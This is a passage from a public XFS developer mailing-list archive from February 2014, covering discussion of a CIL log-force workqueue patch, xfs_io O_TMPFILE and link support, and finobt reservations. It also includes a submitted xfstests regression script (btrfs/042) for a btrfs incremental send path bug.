were issued, as it has trouble dealing with >>>>> dependent IOs being issued from different process contexts. >>>>> >>>>> Avoiding blowing the stack is much more critical than performance >>>>> optimisations for CFQ, especially as we've been recommending against >>>>> the use of CFQ for XFS since 3.2 kernels were release because of >>>>> it's problems with multi-threaded IO workloads. >>>>> >>>>> Hence convert xlog_cil_push_foreground() to move the push work >>>>> to the CIL workqueue. We already do the waiting for the push to >>>>> complete in xlog_cil_force_lsn(), so there's nothing else we need to >>>>> modify to make this work. >>>>> >>>>> Signed-off-by: Dave Chinner > ..... >>>>> @@ -803,7 +808,6 @@ xlog_cil_force_lsn( >>>>> * before allowing the force of push_seq to go ahead. Hence block >>>>> * on commits for those as well. >>>>> */ >>>>> -restart: >>>>> spin_lock(&cil->xc_push_lock); >>>>> list_for_each_entry(ctx,&cil->xc_committing, committing) { >>>>> if (ctx->sequence> sequence) >>>>> @@ -821,6 +825,28 @@ restart: >>>>> /* found it! */ >>>>> commit_lsn = ctx->commit_lsn; >>>>> } >>>>> + >>>>> + /* >>>>> + * The call to xlog_cil_push_now() executes the push in the background. >>>>> + * Hence by the time we have got here it our sequence may not have been >>>>> + * pushed yet. This is true if the current sequence still matches the >>>>> + * push sequence after the above wait loop and the CIL still contains >>>>> + * dirty objects. >>>>> + * >>>>> + * When the push occurs, it will empty the CIL and >>>>> + * atomically increment the currect sequence past the push sequence and >>>>> + * move it into the committing list. Of course, if the CIL is clean at >>>>> + * the time of the push, it won't have pushed the CIL at all, so in that >>>>> + * case we should try the push for this sequence again from the start >>>>> + * just in case. >>>>> + */ >>>>> + >>>>> + if (sequence == cil->xc_current_sequence&& > ^^^^^ > FYI, your mailer is still mangling whitespace when quoting code.... > >>>>> + !list_empty(&cil->xc_cil)) { >>>>> + spin_unlock(&cil->xc_push_lock); >>>>> + goto restart; >>>>> + } >>>>> + >>>> >>>> IIUC, the objective here is to make sure we don't leave this code path >>>> before the push even starts and the ctx makes it onto the committing >>>> list, due to xlog_cil_push_now() moving things to a workqueue. >>> >>> Right. >>> >>>> Given that, what's the purpose of re-executing the background push as >>>> opposed to restarting the wait sequence (as done previously)? It looks >>>> like push_now() won't queue the work again due to cil->xc_push_seq, but >>>> it will flush the queue and I suppose make it more likely the push >>>> starts. Is that the intent? >>> >>> Effectively. But the other thing that it is protecting against is >>> that foreground push is done without holding the cil->xc_ctx_lock, >>> and so we can get the situation where we try a foreground push >>> of the current sequence, see that the CIL is empty and return >>> without pushing, wait for previous sequences to commit, then find >>> that the CIL has items on the CIL in the sequence we are supposed to >>> be committing. >>> >>> In this case, we don't know if this occurred because the workqueue >>> has not started working on our push, or whether we raced on an empty >>> CIL, and hence we need to make sure that everything in the sequence >>> we are support to commit is pushed to the log. >>> >>> Hence if the current sequence is dirty after we've ensure that all >>> prior sequences are fully checkpointed, need to go back and >>> push the CIL again to ensure that when we return to the caller the >>> CIL is checkpointed up to the point in time of the log force >>> occurring. >> >> The desired push sequence was taken from an item on the CIL (either >> when added or from a pinned item). How could the CIL now be empty >> other than someone else pushed to at least the desire sequence? > > The push sequence is only taken from an object on the CIL through > xfs_log_force_lsn(). For xfs_log_force(), the sequence is taken > directly from the current CIL context: > > static inline void > xlog_cil_force(struct xlog *log) > { > xlog_cil_force_lsn(log, log->l_cilp->xc_current_sequence); > } > > And that's how you get an empty CIL when entering > xlog_cil_force_lsn(), and hence how you can get the race condition > that the code is protecting against. > >> A flush_work() should be enough in the case where the ctx of the >> desire sequence is not on the xc_committing list. The flush_work >> will wait for the worker to start and place the ctx of the desired >> sequence into the xc_committing list. This preventing a tight loop >> waiting for the cil push worker to start. > > Yes, that's exactly what the code does. > >> Starting the cil push worker for every wakeup of smaller sequence in >> the list_for_each_entry loop seems wasteful. > > As Brian pointed out, it won't restart on every wakeup - the > cil->xc_push_seq checks prevent that from happening, so a specific > sequence will only ever be queued for a push once. > >> We know the later error paths in xfs_cil_push() will not do a wake, >> now is a good time to fix that. > > I'm not sure what you are talking about here. If there's a problem, > please send patches. > > Cheers, > > Dave. http://oss.sgi.com/archives/xfs/2013-12/msg00870.html --Mark. From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 16:40:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 463F87FAD for ; Thu, 20 Feb 2014 16:40:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 21C798F8040 for ; Thu, 20 Feb 2014 14:40:29 -0800 (PST) X-ASG-Debug-ID: 1392936027-04bdf00fc9205ba0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 7DhNHeSqfwanqiE5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 14:40:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGcI6-0007YV-Le; Thu, 20 Feb 2014 22:40:26 +0000 Date: Thu, 20 Feb 2014 14:40:26 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: add support for O_TMPFILE opens Message-ID: <20140220224026.GA25054@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add support for O_TMPFILE opens References: <20140220220000.GA17541@infradead.org> <20140220221518.GR4916@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140220221518.GR4916@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1392936027 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145330 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Feb 21, 2014 at 09:15:18AM +1100, Dave Chinner wrote: > Can you also push this into the main CLI interface similar to how > all the other open flags can be specified? Sure. > FWIW, any plans to add a "link" command to be able to link the > tmpfile into the namespace once it is created? I was planning to do that, but as pointed out in my next mail it seems we don't actually have any other namespace commands in xfs_io, so I'm starting to wonder if it's the right place. From david@fromorbit.com Thu Feb 20 17:14:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6F8FA7F88 for ; Thu, 20 Feb 2014 17:14:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DC801AC001 for ; Thu, 20 Feb 2014 15:14:02 -0800 (PST) X-ASG-Debug-ID: 1392938039-04cb6c6de26366a0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 17beiseFtADk2oha for ; Thu, 20 Feb 2014 15:14:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMHAP6LBlN5LJYe/2dsb2JhbABTBoMGu0+FUYEQF3SCJQEBBTocFgQGAxAIAw4KCSUPBSUDIROIBM1FFxaNYyhDB4Q4BJgvkiWBb4FSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 09:43:25 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGcnw-00039I-SG; Fri, 21 Feb 2014 10:13:20 +1100 Date: Fri, 21 Feb 2014 10:13:20 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-ID: <20140220231320.GS4916@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <530393F8.4070106@redhat.com> <20140220020101.GL4916@dastard> <53064E26.2050607@redhat.com> <20140220211457.GA8476@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140220211457.GA8476@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392938039 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145331 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC5_SA210e Custom Rule SA210e On Thu, Feb 20, 2014 at 01:14:57PM -0800, Christoph Hellwig wrote: > On Thu, Feb 20, 2014 at 01:49:10PM -0500, Brian Foster wrote: > > > Right, that can happen. But my question is this: how realistic is it > > > that we have someone who has ENOSPC because of enough zero length > > > files to trigger this? I've never seen an application or user try to > > > store any significant number of zero length files, so I suspect this > > > is a theoretical problem, not a practical one. > > > > > > > Probably not very realistic. ;) The only thing I know that does rely on > > some zero-length files is gluster distribution to represent "link files" > > when one a file that hashes to one server ends up stored on another. > > Even then, I don't see how we would ever have a situation where those > > link files exist in such massive numbers and are removed in bulk. So > > it's likely a pathological scenario. > > Zero data blocks are the only case for device nodes or fifos, very > common for symlinks that can be stored inline, and not unusual for > directories. Sure, symlinks and directories are a common case, but they don't generally make up millions of inodes in a filesystem. In the case of directories, you've got to remove other filesystem before that directory inode can be freed, and as such most cases are going to end up freeing blocks from files before we get to freeing the shortform directory inode. Symlink farms could be a problem, but again if you have a large symlink farm you're going to have blocks in directories and other files that the symlinks point to that get removed. As it is, these are the sorts of workloads that are going to gain massively from the finobt modifications (e.g. backup programs that use link farms and sparsify the inode btree when a backup is removed), so we'll find out pretty quickly if the default reserve pool is not large enough for these workloads. As it is, I see this as a similar issue to the way we changed speculative preallocation - we knew that there were significant benefits to changing the behaviour, but we also knew that there would be corner cases where problems would arise. However, we had no real idea of exactly which workloads ior users would be affected by ENOSPC issues. Users reported problems, we had mitigation strategiesthey could apply (e.g. allocsize) while we fixed the problems they reported. And now we get very few complaints about that functionality - it just works for almost everyone out of the box. I mention this because I think that we are in exactly the same situation of trying to work out just how widespread this corner case issue will have an affect. Similar to specualtive prealloc, we have: a) mitigation strategies already in place (increase reserve pool size); and b) a short- to medium-term plan of development that solves the issue completely. As such, I don't think we should spend too much more time worrying about this issue and just move onwards. Like the specualtive preallocation, there may be some short term pain for corner case workloads, but we end up in a much better place in the medium to long term because we don't stall development trying to solve all the problems at once and/or solving problems we don't need to solve.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 20 17:23:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C04027F9C for ; Thu, 20 Feb 2014 17:23:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A37748F8040 for ; Thu, 20 Feb 2014 15:23:10 -0800 (PST) X-ASG-Debug-ID: 1392938588-04bdf00fc9208440001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id liEK5Cepnlx0s6rm for ; Thu, 20 Feb 2014 15:23:08 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHACSNBlN5LJYe/2dsb2JhbABZgwa7T4VRgRAXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gEzUcXFo5OB4Q4BJgvilCHVYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 09:53:07 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGcxN-0003Ai-Tu; Fri, 21 Feb 2014 10:23:05 +1100 Date: Fri, 21 Feb 2014 10:23:05 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: testing flink (aka linkat(..., AT_EMPTY_PATH) Message-ID: <20140220232305.GT4916@dastard> X-ASG-Orig-Subj: Re: testing flink (aka linkat(..., AT_EMPTY_PATH) References: <20140220221245.GA32288@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140220221245.GA32288@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392938588 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145331 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 02:12:45PM -0800, Christoph Hellwig wrote: > Turns out so far we aren't really do metadata operation in xfs_io > and don't even have link/unlink. Should we starting adding these or > where else should I start looking into adding support for exercising > flink? I think we need a tool that aggregates such functionality, otherwise we just end up with a prolification of small helper utilities in xfstests/src directory. There's the new renameat2 code that would dearly love a helper function, reflink support woul be useful, etc. And for O_TMPFILE, is just doesn't make sense to duplicate what xfs_io does just so that flinkat() support can be tested. Hence I'm happy to see such metadata operations added to xfs_io from a functionality point of view. I also can't see any problems with being able to integrate them into the command structure or the source layout structure that xfs_io uses, so I'm not finding an reason why we shouldn't be adding things like this... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 20 18:03:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 14A337FC8 for ; Thu, 20 Feb 2014 18:03:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0AE8C8F804B for ; Thu, 20 Feb 2014 16:03:04 -0800 (PST) X-ASG-Debug-ID: 1392940982-04cb6c06cf324730001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1C2wFlhoYJFnNgtV for ; Thu, 20 Feb 2014 16:03:02 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApwOAJSWBlN5LJYe/2dsb2JhbABZgwY4qGADkjaFUYEPF3SCJQEBBTocIxAIAxgJJQ8FJQMhE4gEDs00FxaMUoF8B4Q4BJgvkiWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 10:33:01 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGdZx-0003JY-PO; Fri, 21 Feb 2014 11:02:57 +1100 Date: Fri, 21 Feb 2014 11:02:57 +1100 From: Dave Chinner To: Mark Tinguely Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue Message-ID: <20140221000257.GU4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> <20140220002358.GH4916@dastard> <5306168B.8080209@sgi.com> <20140220220747.GQ4916@dastard> <5306833D.7080600@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5306833D.7080600@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392940982 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145332 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 04:35:41PM -0600, Mark Tinguely wrote: > On 02/20/14 16:07, Dave Chinner wrote: > >On Thu, Feb 20, 2014 at 08:51:55AM -0600, Mark Tinguely wrote: > >>We know the later error paths in xfs_cil_push() will not do a wake, > >>now is a good time to fix that. > > > >I'm not sure what you are talking about here. If there's a problem, > >please send patches. > > http://oss.sgi.com/archives/xfs/2013-12/msg00870.html Which resulted in a discussion and discovery of more problems that also needed fixing, so I'm waiting for patches to be posted that fix them. You know what the problems are, you know how they should be fixed (it's in the discussion thread), and you are capable of writing the fixes and testing them. So, please send patches. Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Thu Feb 20 18:03:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 794887FC8 for ; Thu, 20 Feb 2014 18:03:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6FE708F8040 for ; Thu, 20 Feb 2014 16:03:23 -0800 (PST) X-ASG-Debug-ID: 1392941000-04cb6c6de2639640001-NocioJ Received: from mail-wi0-f180.google.com (mail-wi0-f180.google.com [209.85.212.180]) by cuda.sgi.com with ESMTP id dKWpAYQtCwzxfGUt (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 20 Feb 2014 16:03:21 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] Received: by mail-wi0-f180.google.com with SMTP id hm4so273572wib.1 for ; Thu, 20 Feb 2014 16:03:20 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=jLEL1abdRvexpCj1Rps9Kamt1B5Ekc9zjmQcgryN+xw=; b=m0BzEdwmijWCmHs03Hv2vtIkNGHoQQT5Nm4zw/7gcMowPhtIr83HUhBAgGsO+8KliS kHC5VS7oZud9HXXdoRzfRSJ27EJQrHUlgfZQNow5NknUz7Yag5MfTUAmD2+Vrrc1yOpE qLgbDZDoTVbGvpFCOp1mrH31ducckRGI1hQLUL79rcSJpS6BXKNkD/vurat/RevNKLiu frYJL0EWzV2Eh0wjqGSzAFc5pNi2dosutcde9vrqCpmsc51IbbEeSNtqhl6rdC7sJdUZ RULPSO7ktlDkJSH8PSZVSRgQYsXAxKlDVXGPxjIB2UqgLK2G6XhMZFkHmz19LfSt2f3+ df+w== X-Received: by 10.180.11.233 with SMTP id t9mr1320409wib.1.1392941000551; Thu, 20 Feb 2014 16:03:20 -0800 (PST) Received: from storm-desktop.lan (bl10-220-154.dsl.telepac.pt. [85.243.220.154]) by mx.google.com with ESMTPSA id ev4sm2779624wib.1.2014.02.20.16.03.14 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 20 Feb 2014 16:03:20 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add test btrfs/042 for btrfs incremental send Date: Fri, 21 Feb 2014 00:02:56 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test btrfs/042 for btrfs incremental send Message-Id: <1392940976-1790-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wi0-f180.google.com[209.85.212.180] X-Barracuda-Start-Time: 1392941001 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145332 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue where invalid paths for utimes, chown and chmod operations were sent to the send stream, causing btrfs receive to fail. If a directory had a move/rename operation delayed, and none of its parent directories, except for the immediate one, had delayed move/rename operations, after processing the directory's references, the incremental send code would issue invalid paths for utimes, chown and chmod operations. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix send issuing outdated paths for utimes, chown and chmod Signed-off-by: Filipe David Borba Manana --- tests/btrfs/042 | 133 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/042.out | 1 + tests/btrfs/group | 1 + 3 files changed, 135 insertions(+) create mode 100755 tests/btrfs/042 create mode 100644 tests/btrfs/042.out diff --git a/tests/btrfs/042 b/tests/btrfs/042 new file mode 100755 index 0000000..b38db31 --- /dev/null +++ b/tests/btrfs/042 @@ -0,0 +1,133 @@ +#! /bin/bash +# FS QA Test No. btrfs/042 +# +# Regression test for a btrfs incremental send issue where under certain +# scenarios invalid paths for utimes, chown and chmod operations were sent +# to the send stream, causing btrfs receive to fail. +# +# If a directory had a move/rename operation delayed, and none of its parent +# directories, except for the immediate one, had delayed move/rename operations, +# after processing the directory's references, the incremental send code would +# issue invalid paths for utimes, chown and chmod operations. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix send issuing outdated paths for utimes, chown and chmod +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +umask 0 +mkdir -p $SCRATCH_MNT/a/b/c/d/e +mkdir $SCRATCH_MNT/a/b/c/f +echo 'ola ' > $SCRATCH_MNT/a/b/c/d/e/file.txt +chmod 0777 $SCRATCH_MNT/a/b/c/d/e + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# |-- d/ (ino 260) +# | |-- e/ (ino 261) +# | |-- file.txt (ino 262) +# | +# |-- f/ (ino 263) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +echo 'mundo' >> $SCRATCH_MNT/a/b/c/d/e/file.txt +mv $SCRATCH_MNT/a/b/c/d/e/file.txt $SCRATCH_MNT/a/b/c/d/e/file2.txt +mv $SCRATCH_MNT/a/b/c/f $SCRATCH_MNT/a/b/f2 +mv $SCRATCH_MNT/a/b/c/d/e $SCRATCH_MNT/a/b/f2/e2 +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/c2 +mv $SCRATCH_MNT/a/b/c2/d $SCRATCH_MNT/a/b/c2/d2 +chmod 0700 $SCRATCH_MNT/a/b/f2/e2 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c2/ (ino 259) +# | |-- d2/ (ino 260) +# | +# |-- f2/ (ino 263) +# |-- e2 (ino 261) +# |-- file2.txt (ino 263) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/042.out b/tests/btrfs/042.out new file mode 100644 index 0000000..b403295 --- /dev/null +++ b/tests/btrfs/042.out @@ -0,0 +1 @@ +QA output created by 042 diff --git a/tests/btrfs/group b/tests/btrfs/group index fd0193c..1037761 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -44,3 +44,4 @@ 039 auto quick 040 auto quick 041 auto quick +042 auto quick -- 1.7.9.5 From sgosse@sgi.com Thu Feb 20 18:17:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, 